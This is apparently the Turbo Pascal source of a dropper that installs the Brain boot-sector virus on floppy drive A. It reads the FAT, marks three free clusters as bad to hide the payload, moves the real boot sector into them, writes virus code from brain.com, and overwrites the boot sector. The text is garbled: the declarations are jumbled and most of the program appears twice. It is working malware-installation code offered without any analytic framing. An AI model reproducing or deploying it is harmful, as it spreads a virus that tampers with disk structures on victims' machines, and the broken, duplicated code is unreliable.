Put Brain
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program put_brain_to_a; uses dos; var diskbuf cyl,hd,sec sc,sh,ss start_cluster brain
:array[0..32767] of byte; :byte; :byte; :word; :file;
procedure increment(var c,h,s:byte); begin s:=s+1; if s>9 then begin s:=1; h:=h+1; if h>1 then begin h:=0; c:=c+1; end; end; end; procedure read_sectors(c,h,s,n:byte); var o :word; r :registers; begin o:=0; repeat repeat r.ah:=2; r.al:=1; r.bx:=ofs(diskbuf[o]); r.es:=seg(diskbuf); r.dh:=h; r.dl:=0; r.ch:=c; r.cl:=s; intr($13,r); until r.flags and 1 = 0; n:=n-1; o:=o+512; increment(c,h,s); until n=0; end; procedure write_sectors(c,h,s,n:byte); var o :word; r :registers; begin o:=0; repeat repeat
r.ah:=3; r.al:=1; r.bx:=ofs(diskbuf[o]); r.es:=seg(diskbuf); r.dh:=h; r.dl:=0; r.ch:=c; r.cl:=s; intr($13,r); until r.flags and 1 = 0; n:=n-1; o:=o+512; increment(c,h,s); until n=0; end; procedure init_disk; var r :registers; begin r.ah:=0; r.dl:=0; intr($13,r); end; function cluster_entry(cl:word):word; var a :word; begin if odd(cl) then begin cl:=(cl*3) div 2; cl:=diskbuf[cl]+256*diskbuf[cl+1]; cl:=(cl and $fff0) shr 4; end else begin cl:=(cl*3) div 2; cl:=diskbuf[cl]+256*diskbuf[cl+1]; cl:=cl and $0fff; end; cluster_entry:=cl; end; procedure mark_cluster(cl,val:word); begin if odd(cl) then begin cl:=(cl*3) div 2; diskbuf[cl]:=(diskbuf[cl] and $0f)+$70; diskbuf[cl+1]:=$ff; diskbuf[cl+$400]:=diskbuf[cl]; diskbuf[cl+$401]:=diskbuf[cl+1]; end else begin cl:=(cl*3) div 2; diskbuf[cl]:=$f7;
end;
diskbuf[cl+1]:=(diskbuf[cl+1] and $f0)+$0f; diskbuf[cl+$400]:=diskbuf[cl]; diskbuf[cl+$401]:=diskbuf[cl+1]; end;
function find_fat_space:word; var clust_count :word; sc :word; begin sc:=$37; clust_count:=0; repeat if cluster_entry(sc)=0 then begin sc:=sc+1; clust_count:=clust_count+1; end else begin sc:=sc+1; clust_count:=0; end; until clust_count=3; sc:=sc-3; find_fat_space:=sc; end; procedure mark_fat_bad(clust:word); var j :word; begin for j:=0 to 2 do mark_cluster(start_cluster+j,$ff7); end; procedure setup_virus_location; {set up cyl,hd,sec from start_cluster} begin start_cluster:=((start_cluster-3)*2)+12; {get absolute sector number} cyl:=start_cluster div 18; {compute cylinder} sec:=(start_cluster-18*cyl)+1; hd:=0; if sec>9 then begin hd:=1; sec:=sec-9; end; writeln(cyl,' ',hd,' ',sec); end; begin init_disk; read_sectors(0,0,2,4); start_cluster:=find_fat_space; mark_fat_bad(start_cluster); write_sectors(0,0,2,4); setup_virus_location; sc:=cyl; sh:=hd; ss:=sec;
{read fat tables in} {write fat tables back out} {calculate cyl,hd,sec}
read_sectors(0,0,1,1); {read the real boot sector} write_sectors(cyl,hd,sec,1); {and put it here} increment(cyl,hd,sec); {go to next sector} assign(brain,'brain.com'); reset(brain,32000); blockread(brain,diskbuf,1); close(brain); move(diskbuf[$100],diskbuf[0],2048); write_sectors(cyl,hd,sec,3); move(diskbuf[$7b00],diskbuf[0],512); diskbuf[6]:=sh; diskbuf[7]:=ss; diskbuf[8]:=sc; write_sectors(0,0,1,1); end.
:array[0..32767] of byte; :byte; :byte; :word; :file;
procedure increment(var c,h,s:byte); begin s:=s+1; if s>9 then begin s:=1; h:=h+1; if h>1 then begin h:=0; c:=c+1; end; end; end; procedure read_sectors(c,h,s,n:byte); var o :word; r :registers; begin o:=0; repeat repeat r.ah:=2; r.al:=1; r.bx:=ofs(diskbuf[o]); r.es:=seg(diskbuf); r.dh:=h; r.dl:=0; r.ch:=c; r.cl:=s; intr($13,r); until r.flags and 1 = 0; n:=n-1; o:=o+512; increment(c,h,s); until n=0; end; procedure write_sectors(c,h,s,n:byte); var o :word; r :registers; begin o:=0; repeat repeat
r.ah:=3; r.al:=1; r.bx:=ofs(diskbuf[o]); r.es:=seg(diskbuf); r.dh:=h; r.dl:=0; r.ch:=c; r.cl:=s; intr($13,r); until r.flags and 1 = 0; n:=n-1; o:=o+512; increment(c,h,s); until n=0; end; procedure init_disk; var r :registers; begin r.ah:=0; r.dl:=0; intr($13,r); end; function cluster_entry(cl:word):word; var a :word; begin if odd(cl) then begin cl:=(cl*3) div 2; cl:=diskbuf[cl]+256*diskbuf[cl+1]; cl:=(cl and $fff0) shr 4; end else begin cl:=(cl*3) div 2; cl:=diskbuf[cl]+256*diskbuf[cl+1]; cl:=cl and $0fff; end; cluster_entry:=cl; end; procedure mark_cluster(cl,val:word); begin if odd(cl) then begin cl:=(cl*3) div 2; diskbuf[cl]:=(diskbuf[cl] and $0f)+$70; diskbuf[cl+1]:=$ff; diskbuf[cl+$400]:=diskbuf[cl]; diskbuf[cl+$401]:=diskbuf[cl+1]; end else begin cl:=(cl*3) div 2; diskbuf[cl]:=$f7;
end;
diskbuf[cl+1]:=(diskbuf[cl+1] and $f0)+$0f; diskbuf[cl+$400]:=diskbuf[cl]; diskbuf[cl+$401]:=diskbuf[cl+1]; end;
function find_fat_space:word; var clust_count :word; sc :word; begin sc:=$37; clust_count:=0; repeat if cluster_entry(sc)=0 then begin sc:=sc+1; clust_count:=clust_count+1; end else begin sc:=sc+1; clust_count:=0; end; until clust_count=3; sc:=sc-3; find_fat_space:=sc; end; procedure mark_fat_bad(clust:word); var j :word; begin for j:=0 to 2 do mark_cluster(start_cluster+j,$ff7); end; procedure setup_virus_location; {set up cyl,hd,sec from start_cluster} begin start_cluster:=((start_cluster-3)*2)+12; {get absolute sector number} cyl:=start_cluster div 18; {compute cylinder} sec:=(start_cluster-18*cyl)+1; hd:=0; if sec>9 then begin hd:=1; sec:=sec-9; end; writeln(cyl,' ',hd,' ',sec); end; begin init_disk; read_sectors(0,0,2,4); start_cluster:=find_fat_space; mark_fat_bad(start_cluster); write_sectors(0,0,2,4); setup_virus_location; sc:=cyl; sh:=hd; ss:=sec;
{read fat tables in} {write fat tables back out} {calculate cyl,hd,sec}
read_sectors(0,0,1,1); {read the real boot sector} write_sectors(cyl,hd,sec,1); {and put it here} increment(cyl,hd,sec); {go to next sector} assign(brain,'brain.com'); reset(brain,32000); blockread(brain,diskbuf,1); close(brain); move(diskbuf[$100],diskbuf[0],2048); write_sectors(cyl,hd,sec,3); move(diskbuf[$7b00],diskbuf[0],512); diskbuf[6]:=sh; diskbuf[7]:=ss; diskbuf[8]:=sc; write_sectors(0,0,1,1); end.
